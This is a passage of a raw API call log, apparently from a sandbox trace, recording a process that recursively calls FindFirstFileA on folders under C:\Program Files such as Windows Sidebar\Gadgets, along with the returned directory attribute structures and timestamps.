lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfd87120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd87120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.392] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfd87120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd87120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.396] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcfd87120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd87120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.400] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfdad280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfdad280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.414] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfdad280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfdad280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.419] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcfdd33e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfdd33e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.425] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfdd33e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfdd33e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.434] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfdf9540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfdf9540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.440] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfdf9540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfdf9540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.447] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfe1f6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe1f6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.453] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfe1f6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe1f6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.459] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfe1f6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe1f6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.466] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfe45800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe45800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.472] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfe45800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe45800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.480] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfe6b960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe6b960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.485] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfe6b960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe6b960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.492] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfe91ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe91ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.499] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfe91ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfe91ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.524] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfeddd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfeddd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.529] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfeddd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfeddd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.537] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfeddd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfeddd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.544] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcff03ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcff03ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.552] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcff03ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcff03ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.597] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcff76300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcff76300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.603] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcff9c460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcff9c460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.608] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcff9c460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcff9c460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.614] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcff9c460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcff9c460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.620] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcffc25c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcffc25c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.632] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcffc25c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcffc25c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.637] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcffe8720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcffe8720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.643] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcffe8720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcffe8720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.650] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd000e880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd000e880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.657] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd000e880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd000e880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.670] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd00349e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00349e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.676] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd00349e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00349e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.684] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd005ab40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd005ab40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.689] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd005ab40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd005ab40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.700] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd0080ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0080ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.707] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd0080ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0080ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.712] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd00a6e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00a6e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.719] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd00a6e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00a6e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.726] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd00a6e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00a6e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.739] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd00ccf60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00ccf60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, 